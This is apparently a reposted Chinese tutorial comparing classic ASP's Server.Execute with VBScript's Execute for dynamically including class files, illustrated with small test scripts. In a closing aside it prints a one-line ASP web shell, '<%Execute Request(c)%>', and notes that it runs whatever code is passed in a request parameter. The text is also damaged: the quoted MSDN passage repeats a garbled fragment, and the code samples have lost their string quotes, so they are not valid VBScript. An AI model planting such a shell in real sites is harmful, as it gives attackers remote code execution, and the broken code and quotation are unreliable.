ASP中Server.Execute和Execute實作動態包含(include)腳本的差異,需要的朋友可以參考下。最近打算嘗試在ASP實現MVC架構,一定有人問我:ASP都淘汰了,為什麼還要研究?這點我也知道,自從微軟放棄ASP 3.0轉向ASP.NET後,ASP已經遠遠落後於和它幾乎同時開始的PHP和JSP,開源比閉源的好處就像PHP和ASP一樣,ASP說淘汰就淘汰,誰也救不了,但是值得注意的是ASP在中國市場還是蠻廣泛的,尤其是一些中小企業的一些應用,簡單的CMS不在話下,而且部署簡單,在一些老舊的Windows系統上,不需要安裝.NET Framework基本上就可以直接運作了,所以準備一個框架,還是有必要的,不過我這個是實驗性框架,只是驗證ASP究竟能不能實現類似PHP的MVC架構。
好了,說了這麼多,下面直接轉入正題吧。這個問題的緣由是因為我需要動態包含ASP文件,大家知道在ASP只有一種include方法,那就是SSI(Server Side Include),基本上分為以下兩種:
複製代碼代碼如下:
<!-- #include file=sample.asp -->
<!-- #include virtual=sample.asp -->
這兩種基本上大家第一種用得多一些,#include virtual包含的是虛擬路徑,一般虛擬目錄會用得到。但這兩種都屬於靜態的,如果我們希望是動態包含,但不可以寫成:
複製代碼代碼如下:
<!-- #include file=<%=MyVar%> -->
<!-- #include virtual=<%=MyVar%> -->
上面的寫法是錯誤的,可以理解為,#include指令是在ASP啟動腳本引擎執行ASP<% %>標記之間腳本之前執行的,也就是說#include不是ASP的工作,而是服務端程序,如IIS的翻譯工作,所以就不會理會你的ASP程式碼了。
如何實作類似PHP的include、include_once、require、require_once動態包含腳本方法呢?下面再來看看ASP Server物件的一個方法:Server.Execute ,搜尋所有的ASP特性,可以發現這個功能最類似動態include,我們可以做個實驗:
Sample.inc.asp
複製代碼代碼如下:
<%
Response.Write Hello World!
%>
test.asp
複製代碼代碼如下:
<%
Server.Execute Sample.inc.asp
Response.Write I am test.asp!
%>
實際輸出應該是Hello World!I am test.asp!,說明Server.Execute在動態包含方面可以運作得很好,但是如果我想包含類別或函數呢?接下來做下面這個實驗:
Sample.class.asp
複製代碼代碼如下:
<%
Class Sample
End Class
%>
test.asp
複製代碼代碼如下:
<%
Server.Execute Sample.class.asp
Response.Write TypeName(Eval(New Sample))
%>
直接運行,出現錯誤Microsoft VBScript 運行時錯誤錯誤'800a01fa' 類別沒有被定義: 'Sample',結果很令人失望,為什麼會出現這種情況呢?查閱了MSDN,找到這段描述:If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calay have a subroutine in a file that is included in your calay have a subroutine in a file that is included in your calay have , but the executed .asp will not recognize the subroutine name. 看起來和我遇到的問題有些不一樣,所以Server.Execute是程式碼隔離的?再進行下面這個實驗:
Sample.inc.asp
複製代碼代碼如下:
<%
Dim MyVar
MyVar = I am Sample!
%>
test.asp
複製代碼代碼如下:
<%
Dim MyVar
MyVar = I am test!
Server.Execute Sample.inc.asp
Response.Write MyVar
%>
結果輸出的是I am test!,很失望!看來Server.Execute是變數、函數、類別這類程式碼隔離的,也就是說呼叫端和被呼叫端在程式碼層級上互不干擾,看來Server.Execute只能用於包含.asp模板了。
下面隆重出場的是VBScript的腳本特性Execute,傳給Execute的必須是有效的VBScript腳本程式碼,而且Execute是上下文相關的,這點看來很接近我們需要的動態include。
test.asp
複製代碼代碼如下:
<%
Execute Class Sample : End Class
Response.Write TypeName(Eval(New Sample))
%>
上面的程式碼成功輸出我們所需要的型別名稱Sample。證明Execute確實可以做到上下文相關,但是問題是利用Execute包含asp檔案沒有Server.Execute方便,Execute是VBScript腳本自帶的,首先只能用來執行程式碼文本,所以需要讀取一次檔案內容,其次不能用來辨識ASP的一些標籤,例如<% %>還有一種類似<%=MyVar %>的呼叫方法,所以要過濾掉<% %>,然後要轉換<%=MyVar %>為Response.Write MyVar。由於我需要的是包含類別文件,不會出現<%=MyVar %>,只要簡單的Replace掉<% %>就可以了。關於讀取檔案內容和簡單排除<% %>可以參考下面這個函數:
複製代碼代碼如下:
Function file_get_contents(filename)
Dim fso, f
Set fso = Server.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(Server.MapPath(filename), 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, < & %, )
contents = Replace(contents, % & >, )
class_get_contents = contents
End Function
有了上面的函數我們可以直接測試下面的程式碼:
Sample.class.asp
複製代碼代碼如下:
<%
Class Sample
End Class
%>
test.asp
複製代碼代碼如下:
<%
Execute class_get_contents(Sample.class.asp)
Response.Write TypeName(Eval(New Sample))
%>
結果輸出我們所期望的Sample類型名稱,看來Execute還是很強大的,確實很強大,因為經常有不懷好意者用來做小馬,最簡單的ASP一句話木馬的寫法估計是下面這句話了:
複製程式碼如下:<%Execute Request(c)%>
例如這段腳本位於file.asp,然後傳入file.asp?c=木馬文本,呵呵,下面的事你也知道了吧。好了這個是題外話,關於Execute還有一點要注意的是,這個是上下文相關的,所以要注意作用域問題,如果Execute位於Sub過程或Function函數內部,那麼在這個外部是無法存取的。